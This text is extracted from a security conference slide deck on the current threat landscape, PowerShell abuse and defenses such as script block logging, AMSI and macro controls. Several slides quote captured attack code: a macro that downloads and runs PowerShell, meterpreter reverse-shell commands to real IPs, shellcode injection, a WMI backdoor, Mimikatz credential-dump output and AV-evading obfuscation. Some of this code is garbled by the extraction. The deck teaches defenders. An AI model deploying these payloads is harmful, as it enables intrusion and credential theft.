The Current Threat Landscape, Modern Defenses, & Effective Detection

Sean Metcalf (@Pyrotek3)
sean@TrimarcSecurity.com
www.ADSecurity.org
TrimarcSecurity.com
ABOUT

- Founder Trimarc, a security company.
- Microsoft Certified Master (MCM) Directory Services
- Microsoft MVP
- Speaker: BSides, Shakacon, Black Hat, DEF CON, DerbyCon, Sp4rkCon
- Security Consultant / Security Researcher
- Own & Operate ADSecurity.org (Microsoft platform security info)
AGENDA

- From Ransomware to Nation-State
- Phishing
- PowerShell
- Recon to Privilege Escalation
- Detecting Attacker Activity
- Kerberoasting Detection
- Effective Defenses

Slides: Presentations.ADSecurity.org
Current Threat Landscape

breach

Page 13 of about 4,540,000 results (0.53 seconds)
The Current State of Security:

The Good

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
The Good: Better Security Awareness

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
The Good: Better Security Testing
The Good: Less AD Admins

Domain Admins Properties

Members:

<table>
<thead>
<tr>
<th>Name</th>
<th>Active Directory Domain Services Folder</th>
</tr>
</thead>
<tbody>
<tr>
<td>ADSAdministrator</td>
<td>lab.adsecurity.org/Users</td>
</tr>
<tr>
<td>Luke Skywalker</td>
<td>lab.adsecurity.org/Users</td>
</tr>
</tbody>
</table>
The Good: Better PowerShell Security (v5)

```
PS C:\> $ExecutionContext.SessionState.LanguageConstrainedLanguage
PS C:\> c:\temp\Invoke-Mimikatz2
c:\temp\Invoke-Mimikatz2 : Specified method is not implemented.
    + CategoryInfo : NotImplemented
    + FullyQualifiedERRORId : NotSupported
PS C:\>
PS C:\> \Windows\system32> C:\Temp\Hakz\PowerSploit\Invoke-Mimikatz.ps1
At C:\Temp\Hakz\PowerSploit\Invoke-Mimikatz.ps1:1 char:1
+ function Invoke-Mimikatz
+ ~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo : ParserError (:) [], ParentContainsErrorRecordException
    + FullyQualifiedERRORId : ScriptContainerMaliciousContent
```
The Current State of Security:

The Bad

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
The Bad: User -> Admin = Easy
The Bad: Legacy Reduces Security

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
The Bad: PowerShell Logging Not Enabled
The Bad: Too Many Blind Spots
The Current State of Security:

The UGLY

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
The UGLY: Email Gets Users to Click
The UGLY: From Email to Breach
'Nearly half' of firms had a cyber-attack or breach

By Chris Baraniuk
Technology reporter
Scottrade Bank data breach exposes 20,000 customers’ personal information

Scottrade Bank publicly confirmed that the 20,000 customers was inadvertently left open a third-party vendor uploaded a file to a server without proper security protocols in place.

GameStop Is Investigating a Possible Credit Card Security Breach on Its Website

A Reddit user has been investigating the security breach that was reported last week. They found evidence that suggests that GameStop's servers may have been compromised, leading to potential credit card breaches. The user reports that they have found a number of credit card numbers and personal information on the dark web.

InterContinental Hotel Chain Breach Expands

Data breach exposes personal info of hundreds of thousands of Oklahoma job applicants

The InterContinental Hotel chain has confirmed that a breach of their systems has exposed the personal information of hundreds of thousands of job applicants. The breach was discovered on April 4, 2017, and the company has begun notifying affected individuals.

Feds pull FAFSA tool after potential data breach

The Federal Pell Grant Application (FAFSA) tool was pulled by the U.S. Department of Education after a potential data breach was discovered. The tool was used by millions of students to apply for financial aid, and the breach could have exposed sensitive information.

Shoney’s reports credit card breach at 37 locations

Shoney’s, the fast-food chain, has reported a credit card breach at 37 locations. The breach was discovered on April 5, 2017, and the company is working with affected customers to provide assistance.
The UGLY: 2016 CyberSecurity Spending

HOW MUCH IS $80,000,000,000,000?

16x

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
American Express, Mastercard, Visa fine Rosen Hotels in data breach, lawsuit says
The UGLY: 2016 CyberSecurity Spending

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Phishing for Initial Access
“PowerWare” MS Office Macro -> PowerShell


Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Microsoft Office Macros (VBA)

- Many organizations are compromised by a single Word/Excel document.
- Office Macro = Code

https://www.fireeye.com/blog/threat-research/2015/10/macros_galore.html

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
MS Office on Macs has Macros too!

Sean Metcalf
[@Pyrotek3 | sean@TrimarcSecurity.com]
FiveThirtyEight

The information in this document is intended for the exclusive use of the addressee(s) and may contain confidential or privileged information. If you are the intended recipient, please Enable Content to gain access to the information below. If you received this in error, please contact the sender and delete the material from any computer.

Headlines of Election Night

Keywords: election fraud, Trump’s victory, Clinton’s failure, FBI investigation, exit polls, election rigging

By Harry Enten

@JohnLaTWC
https://onedrive.live.com/?authkey=%21ADev0bfQMNxv504&cid=C96A3EEDCE316E4C&id=C96A3EEDCE316E4C%21114&parId=C96A3EEDCE316E4C%21109&o=OneUp
Microsoft OLE

• OLE Package (packager.dll) Windows 3.1 to Windows 10.

• Office 2003 to 2016 support.

• Disable in Outlook via regkey (ShowOLEPackageOBJ to “0”).


Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
HTML for Applications (HTA)
• Mshta.exe executes .HTA files
• From web code (VBScript/JavaScript) to Trusted Application
• HTA = EXE

Sean Metcalf (@Pyrotek3 | sean@TrimarcSecurity.com)
Phishing Mitigation

• Create Group Policy to control Microsoft Office macros
  • Disable all ActiveX
  • “Block macros from running in Office files from the Internet”
  • VBA Macro Notification Settings: Disable all except digitally signed macros
  • Scan encrypted macros in Word Open XML documents: Enabled

• Disable OLE in Outlook:
  • ShowOLEPackageOBJ to “0”).

• Block the following extensions:
  • ade, adp, ani, bas, bat, chm, cmd, com, cpl, crt, hlp, ht, hta, inf, ins, isp, job, js, jse, Ink, mda, mdb, mde, mdz, msc, msi, msp, mst, pcd, pif, reg, scr, sct, shs, url, vb, vbe, vbs, wsc, wsf, wsh, exe, pif, RTF, etc.)

• Change default program for anything that opens with Windows scripting to notepad (test first!)
  • bat, js, jse, vbe, vbs, wsf, wsh, etc.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
PowerShell
“Isn't PowerShell just C# with training wheels?”
PowerShell Overview

• Object-based scripting language leveraging .Net technologies.
• Primarily designed in C#.
• “BASH shell for Windows”
• PowerShell can call .Net directly:
• Extensible through imported code modules which add new commands.
• Simplifies data access to standard resources (WMI, XML, registry, event logs, etc).
• PowerShell.exe (CLI) or PowerShell_ISE.exe (ISE GUI).
• 10 years old! (almost)
PowerShell v5 Security Enhancements

• Script block logging
• System-wide transcripts
• Constrained PowerShell enforced when application whitelisting enabled (AppLocker/Device Guard)
• Antimalware Integration (Win 10)


Windows Management Framework (WMF) version 5 available for download:

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
PowerShell Group Policy
PowerShell v5 Security: Script Block Logging

Turn on PowerShell Script Block Logging

- Not Configured
- Enabled
- Disabled

Comment:

Supported on:
At least Microsoft Windows 7 or Windows Server 2008 family

Options:

- Log script block invocation start / stop events:

Help:

This policy setting enables logging of all PowerShell script input to the Microsoft-Windows-PowerShell/Operational event log. If you enable this policy setting, Windows PowerShell will log the processing of commands, script blocks, functions, and scripts - whether invoked interactively, or through automation.

If you disable this policy setting, logging of PowerShell script input is disabled.

If you enable the Script Block Invocation Logging, PowerShell additionally logs events when invocation of a command, script block, function, or script starts or stops. Enabling Invocation Logging generates a high volume of event logs.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Creating Scriptblock text (1 of 1):
Write-Output "Running Invoke-Mimikatz..."

ScriptBlock ID: cbd51773-c40f-4f73-9b77-808a7624d1c7

PS C:\Users\ADSAdmin> powershell -encodedcommand VwByAGkAdABLAC0ATwB1AHQAcAB1AHQAIAG Running Invoke-Mimikatz...

Log Name:     Microsoft-Windows-PowerShell/Operational
Source:       PowerShell (Microsoft-Wind      Logged:       6/25/2015 8:30:16 PM
Event ID:     4104   Task Category: Execute a Remote Command
Level:        Verbose  Keywords: None
User:         WIN-EOOTVR3NK6K/ADSAd  Computer: WIN-EOOTVR3NK6K
PowerShell v5 Security: System-Wide Transcripts

This policy setting lets you capture the input and output of Windows PowerShell commands into text-based transcripts.

If you enable this policy setting, Windows PowerShell will enable transcripting for Windows PowerShell, the Windows PowerShell ISE, and any other applications that leverage the Windows PowerShell engine. By default, Windows PowerShell will record transcript output to each users' My Documents
Command start time: 20160515205951
**************************
PS C:\> c:\temp\invoke-Mimikatz2
**************************
Windows PowerShell transcript start
Start time: 20160515205956
Username: ADSECLABO\administrator
RunAs User: ADSECLABO\administrator
Machine: ADS0WKWIN7-PSV5 (Microsoft Windows NT 6.1.7601 Service Pack 1)
Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Process ID: 160
PSVersion: 5.0.10586.117
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0.10586.117
BuildVersion: 10.0.10586.117
CLRVersion: 4.0.30319.18063
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
**************************
Command start time: 20160515205956
**************************
.#####.
imikatz 2.0 alpha (x64) release "Kiwi en C" (Feb 16 2015 22:15:28)
.####
## ^ ##
## (\ #
## / #
## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## " v #
'#####'

http://blog.gentilkiwi.com/mimikatz

with 15 modules ** */
PowerShell v5: Constrained PowerShell Enforced (WL)
Windows 10 PS Security: Antimalware Integration

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Windows 10: AntiMalware Scan Interface (AMSI)

This script contains malicious content and has been blocked by your antivirus software.
Security Vendors Supporting Win10 AMSI

1. Microsoft Defender
2. AVG Protection 2016.7496
3. ESET Version 10
4. Avast: ??
5. Trend Micro: ??
6. Symantec: ??
7. McAfee: ??
8. Sophos: ??
9. Kaspersky: ??
10. BitDefender: ??
11. F-Secure: ??
12. Avira: ??
13. Panda: ??

Last Updated: March 2017

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
PowerShell as an Attack Platform

I DON'T ALWAYS USE POWERSHELL

BUT WHEN I DO, I PWN ENTERPRISES
Attackers Have Options

• Custom executables (EXEs)
• Windows command tools
• Remote Desktop
• Sysinternal tools
• Windows Scripting Host

• VBScript
• CScript
• JavaScript
• Batch files
• PowerShell

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Quick PowerShell Attack History

• Summer 2010 - DEF CON 18: Dave Kennedy & Josh Kelly “PowerShell OMFG!” [https://www.youtube.com/watch?v=JKlVONfD53w](https://www.youtube.com/watch?v=JKlVONfD53w)
  • Describes many of the PowerShell attack techniques used today (Bypass exec policy, -Enc, & IE).
  • Released PowerDump to dump SAM database via PowerShell.

• 2012 – PowerSploit, a GitHub repo started by Matt Graeber, launched with Invoke-Shellcode.
  • “Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process.”

• 2013 - Invoke-Mimkatz released by Joe Bialek which leverages Invoke-ReflectivePEInjection.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Benefits of PowerShell as an Attack Platform

• Run code in memory without touching disk.
• Download & execute code from another system.
• Interface with .Net & Windows APIs.
• Built-in remoting.
• CMD.exe is commonly blocked, though not PowerShell.
• Most organizations are not watching PowerShell activity.
• Many endpoint security products don’t have visibility into PowerShell activity.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Real-world PowerShell attacks

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Word Macro -> PowerShell -> Download & Execute Payload

```powershell
sub AutoOpen()
    Const HIDDEN_WINDOW = 0
    strComputer = "."
    x1 = "Download"
    x2 = "s & "tring"
    Set objWMIService = GetObject("winmgmts:\"\" & strComputer & "/root/cimv2")
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")
    Set objConfig = objStartup.SpawnInstance_
    objConfig.ShowWindow = HIDDEN_WINDOW
    objProcess.Create "power" & "shell" & ".exe -ExecutionPolicy Bypass
    -windowstyle Hidden -noprofile -noexit -c if ([IntPtr]::size -eq 4)
    {{(new-object Net.WebClient)." & x1 & x2 &
    "https://github[.]com/*redacted*") | iex } else
    {{(new-object Net.WebClient)." & x1 & x2 &
    "https://github[.]com/*redacted*") | iex}, Null]
    objConfig, intProcessID
End Sub
```
Download Code & Upload Recon Data

http://pastebin.com/7wYupkJL
Download Code & Execute

```
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command

Invoke-Shellcode -Force -Shellcode 0xc4,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc4,0xe8,0x8b,0x52,0xe7,80a0ab10eaee068b0f120764e52753e6099c7601b0dca87998e1040fa21a2b
```

```
C:\\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -ep Bypass -WindowStyle Hidden

Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.1 -Lport 8080 -Force
    84bab3fcd2999d67d98ce2a650e18e7065002c04f7c54b80daefaea8e8db47b
```

```
C:\\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -ep Bypass -WindowStyle Hidden
    -nop -noexit -c

Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.166.1.29 -Lport 1652 -Force
    2759f81656056bc0e91cde2c73a5b44ea8fca873db77932bd4fc4a46822edc94
```

```
C:\\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Exe ByPass -NoI
    -Enc KABuAGUAdwAtAG8AYgBqAGUAYwb0AcaaUwb5AHAmdAb1AG0ALgBOAGUAdAAuAFcAZQB1AEbAAbpAgUAbgB0ACkALgBEAg8AdwBuAGWAbWBhAGQAZgbPAGwAZQAD

http://pastebin.com/juC4CkQG

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Download JPG file as EXE, then Execute

```
PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden
'C:\Users\User1\AppData\Roaming\tandjeGerst.exe');
Start-Process 'C:\Users\User1\AppData\Roaming\tandjeGerst.exe'
6360306ffe0095cac18b86dcb8b243801f493ea6592c7c78c1209d00a8d10f23

PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden
'C:\Users\User1\AppData\Roaming\Example.exe');
Start-Process 'C:\Users\User1\AppData\Roaming\Example.exe'
972a51b33b15f516e95ec06b6c56b2cd58bdb8365c24de2e6731bbc7aac3b6da
```

http://pastebin.com/juC4CkQG
Create “Update_Google” task to execute Shellcode

```c
C:\windows\system32\schtasks.exe /create /tn Update_google /tr "powershell.exe -ep bypass -WindowStyle hidden -noexit -c 'IEX ((New-Object Net.WebClient).DownloadString(''''))'; Invoke-Shellcode -Payload windows/meterpreter/reverse_http -Lhost 115.70.184.41 -Lport 4445 -Force" /sc onidle /i 2 1c67973f7d76f608900db685e42831f79a892bc9c99837f748f473a0900f7579
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -enc JAAwADgAOUQAqAD0AIAAaNAFsARABBsAGwASQBtAHAAAbwBYAHQAKAAAiAGsAZQBYAG4AZQBSADMMAGuAQQAaBABSACIAKQBdAHAAAdQBi

$08Q = `'[DllImport("kernel32.dll")])public static extern IntPtr VirtualAlloc(IntPtr lpAddress,
uint dwSize, uint fAllocationType, uint fProtect);

[DllImport("kernel32.dll")])public static extern IntPtr CreateThread(IntPtr lpThreadAttributes,
uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId)

[DllImport("msvcr1.dll")])public static extern IntPtr memset(IntPtr dest, uint src, uint count);

$w = Add-Type -memberDefinition $08Q -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];
[Byte[]]$z = 0xda,0xce,0xb8,0x97,0x02,0xfe,0x68,0xd9,0x74,0x24,0xf4,0x5b,0x31,0xc9,0xb1,0x71,0x31,0x
$g = 0x1000; if ($z.Length -gt 0x1000){$g = $z.Length};
$Qwjc=$w::VirtualAlloc(0,0x1000,$g,0x40);
for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($Qwjc.ToInt32()+$i), $z[$i], 1)};
$w::CreateThread(0,0,$Qwjc,0,0,0);for (;){Start-sleep 60}
```
-or ($Process.MainWindowTitle -like '*Banking*') -or ($Process.MainWindowTitle -like '*Log in to your PayPal account*')
- (or ($Process.MainWindowTitle -like '*Expedio Partner*Central*') -or ($Process.MainWindowTitle -like '*Booking.com Extranet*')
- (or ($Process.MainWindowTitle -like '*Chase Online - Logon*') -or ($Process.MainWindowTitle -like '*One Time Pay*')
- (or ($Process.MainWindowTitle -like '*LogMeIn*') -or ($Process.MainWindowTitle -like '*Windows Security*')
- (or ($Process.MainWindowTitle -like '*Choose a way to pay*') -or ($Process.MainWindowTitle -like '*payment information*')
- (or ($Process.MainWindowTitle -like '*Change Reservation*') -or ($Process.MainWindowTitle -like '*POS*')
- (or ($Process.MainWindowTitle -like '*Virtual Terminal*') -or ($Process.MainWindowTitle -like '*PayPal: Wallet*')
- (or ($Process.MainWindowTitle -like '*iatspayment*') -or ($Process.MainWindowTitle -like '*LogMeIn*')
- (or ($Process.MainWindowTitle -like '*Authorize.Net*') -or ($Process.MainWindowTitle -like '*LogMeIn*')
- (or ($Process.MainWindowTitle -like '*Discover Card*') -or ($Process.MainWindowTitle -like '*LogMeIn*')
- (or ($Process.MainWindowTitle -like '*ewallet*') -or ($Process.MainWindowTitle -like '*arcot*')
- (or ($Process.MainWindowTitle -like '*PayTrace*') -or ($Process.MainWindowTitle -like '*New Charge*')
- (or ($Process.MainWindowTitle -like '*Verification*') -or ($Process.MainWindowTitle -like '*PIN*')
- (or ($Process.MainWindowTitle -like '*Authentication*') -or ($Process.MainWindowTitle -like '*Password*')
- (or ($Process.MainWindowTitle -like '*Debit Card*') -or ($Process.MainWindowTitle -like '*Activation*')
- (or ($Process.MainWindowTitle -like '*LastPass*') -or ($Process.MainWindowTitle -like '*SSN*')
- (or ($Process.MainWindowTitle -like '*DriverLicense*') -or ($Process.MainWindowTitle -like '*Check-in for*')
- (or ($Process.MainWindowTitle -like '*Umpqua*') -or ($Process.MainWindowTitle -like '*ePayment*')
- (or ($Process.MainWindowTitle -like '*Converge-*') -or ($Process.MainWindowTitle -like '*Swipe*')

The script uses PowerShell to find financial and sensitive browser windows. It checks the title of each running process for keywords related to financial transactions and sensitive information and logs the paths of these processes.
Take Screenshots with PowerShell

```powershell
[Reflection.Assembly]::LoadWithPartialName("System.Drawing")
function screenshot([Drawing.Rectangle]$bounds, $path){
    $bmp = New-Object Drawing.Bitmap $bounds.width, $bounds.height
    $graphics = [Drawing.Graphics]::FromImage($bmp)
    $graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size)
    $bmp.Save($path)
    $graphics.Dispose()
    $bmp.Dispose()
}
$pth = [Environment]::GetFolderPath("Templates") + "\screenshots__.png"
$bounds = [Drawing.Rectangle]::FromLTRB(0, 0, 1000, 900)
screenshot $bounds $pth
```
WMI Backdoor

```powershell
$filterName = 'BotFilter82'
$consumerName = 'BotConsumer23'
$exePath = 'C:\Windows\System32\evil.exe'
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
AND TargetInstance.SystemUpTime >= 200 AND
TargetInstance.SystemUpTime < 320"
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -
NameSpace "root\subscription" -Arguments
@{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop
$WMIEventConsumer = Set-WmiInstance -Class
CommandLineEventConsumer -Namespace "root\subscription" -
Arguments
@{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate
=-$exePath}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace
"root\subscription" -Arguments
@{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
```

PowerShell without PowerShell.exe

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
PS> Attack is loading...
Decrypting: Get-Information
Decrypting: VolumeShadowCopyTools
Decrypting: PowerUp
Decrypting: Tater
Decrypting: Invoke-Ninjacopy
Decrypting: Out-Dnstxt
Decrypting: Invoke-PsUACme
Decrypting: dns_txt_pwnage
Decrypting: Gupt-Backdoor
Decrypting: Invoke-WMICommand
Decrypting: Invoke-Shellcode
Decrypting: Inveigh-Relay
Decrypting: Inveigh
PS Constrained Language Mode?

Sean Metcalf @Pyrotek3 | sean@TrimarcSecurity.com

PS C:\> $PSVersionTable

Name          | value
---            | -----
PSVersion      | 5.0.10586.117
PSCompatbleVersions | {1.0, 2.0, 3.0, 4.0...}
BuildVersion   | 10.0.10586.117
CLRVersion     | 4.0.30319.18063
WSManStackVersion | 3.0
PSRemotingProtocolVersion | 2.3
SerializationVersion | 1.1.0.1

PS C:\> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage

PS C:\>
Welcome to PS>Attack! This is version 1.1.0.
It was built on April 21, 2016 at 7:10:27 PM.

If you’d like a version of PS>Attack thats even harder for AV
to detect checkout http://github.com/jaredhaight/PSAttackBuildTool

For help getting started, run 'get-attack'

C:\Temp #> invoke-mimikatz

mimikatz 2.0 alpha (x64) release "Kiwi en C" (Dec 14 2015 19:16:34)

Benjamin DELPY 'gentilkiwi' (benjamin@gentilkiwi.com)

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 147414 (00000000:00023d6)
Session            : RemotelInteractive from 2
User Name          : administrator
Domain             : ADSECLAB0
Logon Server       : ADS00C01
Logon Time         : 5/15/2016 8:57:33 PM
SID                 : S-1-5-21-186993273-1316126705-865754954-500
C:\WINDOWS\system32\cmd.exe - PowerShell - version 2

Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.

PS C:\> Get-Process

Handles  NPM(K)  PM(K)  WS(K)  VM(M)  CPU(s)  Id  SI  PPID
149  13  3380  9172  140  0.03  7720  1  Ados
156  13  1950  9004  69  1000  0  AGS5
140  8  1724  6920  63  4480  0  App1
123  9  1472  6544  61  3648  0  arm1
200  11  8848  14472  ...  14  8940  0  aud1

C:\WINDOWS\system32\cmd.exe - powershell

Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\> Get-Service

Status   Name                      DisplayName
--------- -------------------------- --------------------------
Running  AdobeARMService          Adobe Acrobat Update Service
Running  AGSIService             Adobe Genuine Software Integrity Service
Stopped  ARouter                 Allloyn Router Service
Stopped  ALG                     Application Layer Gateway Service
Stopped  AppIDSvc                Application Identity
Running  Appinfo                 Application Information
Stopped  AppMgmt                 Application Management
Stopped  AppReadiness            App Readiness
Stopped  AppVClient              Microsoft App V Client
Running  AppXSvc                 AppX Deployment Service (AppXsvc)
Stopped  AudioEndpointBuilder    Windows Audio Endpoint Builder
Stopped  AudioSrv                Windows Audio
Stopped  AxInstSV                ActiveX Installer (AxInstSV)
Stopped  BDESvc                  Bitlocker Drive Encryption Service
Stopped  BFE                     Base Filtering Engine
Stopped  BITS                    Background Intelligent Transfer Service
Stopped  BPA                     Background Process Aggregation
Stopped  CCH                     Calendar Calendar
Stopped  Checksums              Checksums
Stopped  ClientPrint            Client Print
Stopped  MPR                    Control Panel \Printers\Microsoft\Printer Redirection Service
Stopped  CSecPolicy              CSecPolicy
Stopped  D3P                      DMAP
Stopped  DCOM4                    DCOM4
Stopped  EDB                    EventLog Database
Stopped  EDS                    EventLog Database Service
Stopped  FLIP                    Fixed Disk Inquiry Provider
Stopped  GB                        GBI
Stopped  GDI                    Graphics Device Interface
Stopped  GDS                    Group Policy
generated
Detecting/Mitigating PS w/o PowerShell.exe

• Discover PowerShell in non-standard processes.
• Get-Process modules like "*Management.Automation*"

```powershell
PS C:\> get-process | Where {$_modules -like "*System.Management.Automation*"} | Select name, id, modules

<table>
<thead>
<tr>
<th>Name</th>
<th>Id</th>
<th>Modules</th>
</tr>
</thead>
<tbody>
<tr>
<td>powershell</td>
<td>888</td>
<td>{System.Diagnostics.ProcessModule (powershell.exe), System.Diagnostics...</td>
</tr>
<tr>
<td>powershell</td>
<td>5056</td>
<td>{System.Diagnostics.ProcessModule (powershell.exe), System.Diagnostics...</td>
</tr>
<tr>
<td>PSAttack</td>
<td>1952</td>
<td>{System.Diagnostics.ProcessModule (PSAttack.exe), System.Diagnostics...</td>
</tr>
</tbody>
</table>

PS C:\> $ps[2].modules[27] | select ModuleName, FileName | ft -auto

ModuleName                                 FileName
----------                                 -----------
System.Management.Automation.nl.d1l        C:\Windows\assembly\NativeImages_v4.0.30319...

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Detecting/Mitigating PS w/o PowerShell.exe

Event 400, PowerShell (PowerShell)

General Details

Engine state is changed from None to Available.

Details:

NewEngineState=Available
PreviousEngineState=None

SequenceNumber=9

HostName=PS ATTACK!!!
HostVersion=3.0.0.0
HostId=0003ddb3-f539-4132-950f-1fd4552b8893
EngineVersion=2.0
RunspaceId=1114d8e0-8da9-4e53-bf52-1b06c3a3429f
PipelineId=
CommandName=
CommandType=
Detecting Custom EXEs Hosting PowerShell

• Send PowerShell & PowerShell Operational logs to SIEM.
• Event 800: HostApplication not standard Microsoft tool (PowerShell, PowerShell ISE, etc).
• Event 800: EngineVersion < PowerShell version.
• Remember that custom EXEs can natively call .Net & Windows APIs directly without PowerShell.
• Remove PowerShell 2.0 engine from Windows 8/2012+ (still requires Microsoft .NET Framework 3.5 for use).

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Function Get-ImageNtHeaders
{
  Param(
    [Parameter(Position = 0, Mandatory = $true)]
    [IntPtr]
    $PEHandle,
    [Parameter(Position = 1, Mandatory = $true)]
    [System.Object]
    $Win32Types
  )

  $NtHeadersInfo = New-Object System.Object

  # Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for

  # Get IMAGE_NT_HEADERS
  [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned (([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)))
  $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr
  $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64)

  # Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen.
  if ($imageNtHeaders64.Signature -ne 0x00004550)
  {
    throw "Invalid IMAGE_NT_HEADER signature."
  }

  if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC')
  {
    $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64
    $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $imageNtHeaders64
  }
  else
  {
    $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32
  }
}

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Function IN`VOK`E-M`EMory fre`el`IbRary
{
    Param(
        [Parameter(position = 0, Mandatory = $TRUE)]
        [IntPtr]
        $peH`AND`LE
    )

    $WIN32`C`ONSTAn`Ts = &"{1}{4}{3}{0}{2}" -f'onsta', 'Get-win3', 'nts', 'C', '2'
    $wInt32`F`unctIoNs = & "{4}[0]{1}[3]{2}" -f't-win32', 'Fun', 'ns', 'ctio', 'Ge f'
    $WIN32`2TY`Pes = & "{0}{2}{3}{1}" -f'G', 'es', 'et-win32', 'Typ'
    $PEIN`Fo = & "{3}[0]{5}[4]{1}{2}" -f't-PEDetail', 'In', 'fo', 'Ge', 'ed', 'l" -PEHandle $peH`AND`LE -win32Types $WIN32TyPes

    if ($PeIN`Fo."I`mA`Ge_N`T.hEadeRs"."oPT`IoN`AlHEAdeR"."IM`Por`TTAlBLE"."s`IZE" -gt 0 )
    {
        [IntPtr]$i`mP`Or`t.DESCRIpToR`RP`Tr = & "{2}[1][4][3][0]" -f'gned', 'gne', 'Add-Si', 'tAsUnsi', 'dIn" ([Int64]$Pe`INFo).while ( $TRUE )
        {
            $i`M`pOr`t`DescRIpToRPtr = $W02U::"PTR`ToSTReCTU`RE" ($i`mP`Or`t`DescRIpToRPtr), [Type]$WIN32`Ty`Pes."i`mage_i

            if ($importde`S`CRIP'T`Or."C`harACTe`R`S`t`ics" -eq 0 ,
                -and $importDe`S`CRIP'T`Or."F`IrSt` T`hUnk" -eq 0 ,
                -and $im`POR`t`DESC`RI`PE Or."forwa`r`d`R`eCh`Ain" -eq 0 ,
                -and $im`POR`t`DESC`RI`PE Or."n`M`A` Me" -eq 0 ,
                -and $im`POR`t`DESC`RI`PE Or."T`i`m`e`D`A`T`E`S`Ta`M`P" -eq 0 )
            {
                
            }

            if ($IMP`ORT`D`L`HAndLe -eq $NEW`LL )
            {
                & "{0}[3][1]{2}" -f 'P', 't', 'ringAnsi', 'trTo

            $IMP`ORT`D`L`HAndLe = $(gC1 ('VARIABLE' + ': ' + wo + ' 2U') ).VALUE::"{0}[3][1]{2}" -f 'P', 't', 'ringAnsi', 'trTo

            if ($IMP`ORT`D`L`HAndLe -eq $NEW`LL )
            {

            }

        }
    }
}

Sean Metcalfe[@Pyrotek3 | sean@TrimarcSecurity.com]
Obfuscation Bypasses AV

PS C:\temp> .\Invoke-Mimikatz.ps1
At line:1 char:1
+ .\Invoke-Mimikatz.ps1
+ ~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
